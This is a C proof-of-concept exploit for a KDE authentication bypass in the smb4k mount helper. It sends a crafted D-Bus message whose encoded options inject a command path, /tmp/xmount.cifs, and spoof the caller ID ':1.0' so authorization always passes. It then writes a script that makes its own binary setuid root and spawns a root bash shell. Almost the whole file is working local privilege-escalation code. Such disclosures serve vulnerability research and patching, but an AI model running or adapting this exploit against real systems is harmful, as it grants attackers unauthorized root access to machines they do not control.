//
// smb4k PoC, also demonstrating broader scope of a generic kde
// authentication bypass vulnerability
//
// (C) 2017 Sebastian Krahmer
//
#define _POSIX_C_SOURCE 200112L
#include <stdio.h>
#include <fcntl.h>
#include <unistd.h>
#include <stdlib.h>
#include <errno.h>
#include <string.h>
#include <sys/types.h>
#include <sys/wait.h>
#include <sys/stat.h>
void die(const char *s)
{
perror(s);
exit(errno);
}
int main(int argc, char **argv)
{
char me[1024] = {0};
char *dbus[] = {
"/usr/bin/dbus-send",
"--system",
"--print-reply",
"--dest=net.sourceforge.smb4k.mounthelper",
"/",
"org.kde.auth.performActions",
"array:byte:"
// The variant map, containing evil mh_command key-pair
"0x00,0x00,0x00,0x01,0x00,0x00,0x00,0x4e,0x00,0x6e,0x00,0x65,0x00,0x74,"
"0x00,0x2e,0x00,0x73,0x00,0x6f,0x00,0x75,0x00,0x72,0x00,0x63,0x00,0x65,"
"0x00,0x66,0x00,0x6f,0x00,0x72,0x00,0x67,0x00,0x65,0x00,0x2e,0x00,0x73,"
"0x00,0x6d,0x00,0x62,0x00,0x34,0x00,0x6b,0x00,0x2e,0x00,0x6d,0x00,0x6f,"
"0x00,0x75,0x00,0x6e,0x00,0x74,0x00,0x68,0x00,0x65,0x00,0x6c,0x00,0x70,"
"0x00,0x65,0x00,0x72,0x00,0x2e,0x00,0x6d,0x00,0x6f,0x00,0x75,0x00,0x6e,"
"0x00,0x74,0x00,0x00,0x00,0x08,0x00,0x00,0x00,0x18,0x00,0x6d,0x00,0x68,"
"0x00,0x5f,0x00,0x77,0x00,0x6f,0x00,0x72,0x00,0x6b,0x00,0x67,0x00,0x72,"
"0x00,0x6f,0x00,0x75,0x00,0x70,0x00,0x00,0x00,0x0a,0x00,0x00,0x00,0x00,"
"0x00,0x00,0x00,0x00,0x0c,0x00,0x6d,0x00,0x68,0x00,0x5f,0x00,0x75,0x00,"
"0x72,0x00,0x6c,0x00,0x00,0x00,0x11,0x00,0x00,0x00,0x00,0x24,0x73,0x6d,"
"0x62,0x3a,0x2f,0x2f,0x61,0x62,0x63,0x3a,0x31,0x32,0x33,0x34,0x35,0x36,"
"0x40,0x31,0x32,0x37,0x2e,0x30,0x2e,0x30,0x2e,0x31,0x3a,0x34,0x34,0x35,"
"0x2f,0x73,0x68,0x61,0x72,0x65,0x00,0x00,0x00,0x0c,0x00,0x6d,0x00,0x68,"
"0x00,0x5f,0x00,0x75,0x00,0x6e,0x00,0x63,0x00,0x00,0x00,0x0a,0x00,0x00,"
"0x00,0x00,0x22,0x00,0x2f,0x00,0x2f,0x00,0x31,0x00,0x32,0x00,0x37,0x00,"
"0x2e,0x00,0x30,0x00,0x2e,0x00,0x30,0x00,0x2e,0x00,0x31,0x00,0x2f,0x00,"
"0x73,0x00,0x68,0x00,0x61,0x00,0x72,0x00,0x65,0x00,0x00,0x00,0x14,0x00,"
"0x6d,0x00,0x68,0x00,0x5f,0x00,0x6f,0x00,0x70,0x00,0x74,0x00,0x69,0x00,"
"0x6f,0x00,0x6e,0x00,0x73,0x00,0x00,0x00,0x0b,0x00,0x00,0x00,0x00,0x02,"
"0x00,0x00,0x00,0x04,0x00,0x2d,0x00,0x6f,0x00,0x00,0x01,0x1c,0x00,0x75,"
"0x00,0x73,0x00,0x65,0x00,0x72,0x00,0x6e,0x00,0x61,0x00,0x6d,0x00,0x65,"
"0x00,0x3d,0x00,0x6a,0x00,0x6f,0x00,0x65,0x00,0x2c,0x00,0x75,0x00,0x69,"
"0x00,0x64,0x00,0x3d,0x00,0x33,0x00,0x33,0x00,0x33,0x00,0x33,0x00,0x2c,"
"0x00,0x67,0x00,0x69,0x00,0x64,0x00,0x3d,0x00,0x31,0x00,0x30,0x00,0x30,"
"0x00,0x2c,0x00,0x70,0x00,0x6f,0x00,0x72,0x00,0x74,0x00,0x3d,0x00,0x34,"
"0x00,0x34,0x00,0x35,0x00,0x2c,0x00,0x72,0x00,0x77,0x00,0x2c,0x00,0x66,"
"0x00,0x69,0x00,0x6c,0x00,0x65,0x00,0x5f,0x00,0x6d,0x00,0x6f,0x00,0x64,"
"0x00,0x65,0x00,0x3d,0x00,0x30,0x00,0x37,0x00,0x35,0x00,0x35,0x00,0x2c,"
"0x00,0x64,0x00,0x69,0x00,0x72,0x00,0x5f,0x00,0x6d,0x00,0x6f,0x00,0x64,"
"0x00,0x65,0x00,0x3d,0x00,0x30,0x00,0x37,0x00,0x35,0x00,0x35,0x00,0x2c,"
"0x00,0x70,0x00,0x65,0x00,0x72,0x00,0x6d,0x00,0x2c,0x00,0x6e,0x00,0x6f,"
"0x00,0x73,0x00,0x65,0x00,0x74,0x00,0x75,0x00,0x69,0x00,0x64,0x00,0x73,"
"0x00,0x2c,0x00,0x6e,0x00,0x6f,0x00,0x73,0x00,0x65,0x00,0x72,0x00,0x76,"
"0x00,0x65,0x00,0x72,0x00,0x69,0x00,0x6e,0x00,0x6f,0x00,0x2c,0x00,0x63,"
"0x00,0x61,0x00,0x63,0x00,0x68,0x00,0x65,0x00,0x3d,0x00,0x73,0x00,0x74,"
"0x00,0x72,0x00,0x69,0x00,0x63,0x00,0x74,0x00,0x2c,0x00,0x6e,0x00,0x6f,"
"0x00,0x6d,0x00,0x61,0x00,0x70,0x00,0x63,0x00,0x68,0x00,0x61,0x00,0x72,"
"0x00,0x73,0x00,0x2c,0x00,0x73,0x00,0x65,0x00,0x63,0x00,0x3d,0x00,0x6e,"
"0x00,0x74,0x00,0x6c,0x00,0x6d,0x00,0x73,0x00,0x73,0x00,0x70,0x00,0x2c,"
"0x00,0x76,0x00,0x65,0x00,0x72,0x00,0x73,0x00,0x3d,0x00,0x31,0x00,0x2e,"
"0x00,0x30,0x00,0x00,0x00,0x1a,0x00,0x6d,0x00,0x68,0x00,0x5f,0x00,0x6d,"
"0x00,0x6f,0x00,0x75,0x00,0x6e,0x00,0x74,0x00,0x70,0x00,0x6f,0x00,0x69,"
"0x00,0x6e,0x00,0x74,0x00,0x00,0x00,0x0a,0x00,0x00,0x00,0x00,0x3e,0x00,"
"0x2f,0x00,0x68,0x00,0x6f,0x00,0x6d,0x00,0x65,0x00,0x2f,0x00,0x6a,0x00,"
"0x6f,0x00,0x65,0x00,0x2f,0x00,0x73,0x00,0x6d,0x00,0x62,0x00,0x34,0x00,"
"0x6b,0x00,0x2f,0x00,0x31,0x00,0x32,0x00,0x37,0x00,0x2e,0x00,0x30,0x00,"
"0x2e,0x00,0x30,0x00,0x2e,0x00,0x31,0x00,0x2f,0x00,0x73,0x00,0x68,0x00,"
"0x61,0x00,0x72,0x00,0x65,0x00,0x00,0x00,0x0a,0x00,0x6d,0x00,0x68,0x00,"
"0x5f,0x00,0x69,0x00,0x70,0x00,0x00,0x00,0x0a,0x00,0xff,0xff,0xff,0xff,"
"0x00,0x00,0x00,0x14,0x00,0x6d,0x00,0x68,0x00,0x5f,0x00,0x63,0x00,0x6f,"
"0x00,0x6d,0x00,0x6d,0x00,0x65,0x00,0x6e,0x00,0x74,0x00,0x00,0x00,0x0a,"
"0x00,0xff,0xff,0xff,0xff,0x00,0x00,0x00,0x14,0x00,0x6d,0x00,0x68,0x00,"
"0x5f,0x00,0x63,0x00,0x6f,0x00,0x6d,0x00,0x6d,0x00,0x61,0x00,0x6e,0x00,"
"0x64,0x00,0x00,0x00,0x0a,0x00,0x00,0x00,0x00,0x20,0x00,0x2f,0x00,0x74,"
"0x00,0x6d,0x00,0x70,0x00,0x2f,0x00,0x78,0x00,0x6d,0x00,0x6f,0x00,0x75,"
"0x00,0x6e,0x00,0x74,0x00,0x2e,0x00,0x63,0x00,0x69,0x00,0x66,0x00,0x73",
// the callerID, ":1.0" which is dbus itself and thus always passes
"array:byte:58,49,46,48", NULL};
char *boomsh = "/tmp/xmount.cifs";
char *const sh[] = {me, "shell", NULL};
char *const bash[] = {"/bin/bash", "--norc", "--noprofile", NULL};
struct stat st;
int fd = -1;
if (readlink("/proc/self/exe", me, sizeof(me) - 1) < 0)
die("[-] readlink");
if (geteuid() == 0) {
setuid(0);
setgid(0);
if (argc == 2) {
execve(*bash, bash, NULL);
die("[-] execve of bash");
}
chown(me, 0, 0);
chmod(me, 04755);
exit(0);
}
printf("[*] Creating shellscript ...\n");
unlink(boomsh);
if ((fd = open(boomsh, O_RDWR|O_CREAT, 0755)) < 0)
die("[-] open");
write(fd, "#!/bin/sh\n", 10);
write(fd, me, strlen(me));
write(fd, "\n", 1);
close(fd);
printf("[*] Triggering call...\n");
if (fork() == 0) {
execve(*dbus, dbus, NULL);
exit(1);
}
wait(NULL);
sleep(5);
printf("[*] Trying to find rootshell...\n");
memset(&st, 0, sizeof(st));
stat(me, &st);
if ((st.st_mode & 04000) != 04000)
die("[-] Failed to chmod ourselfs.\n");
execve(me, sh, NULL);
return 0;
}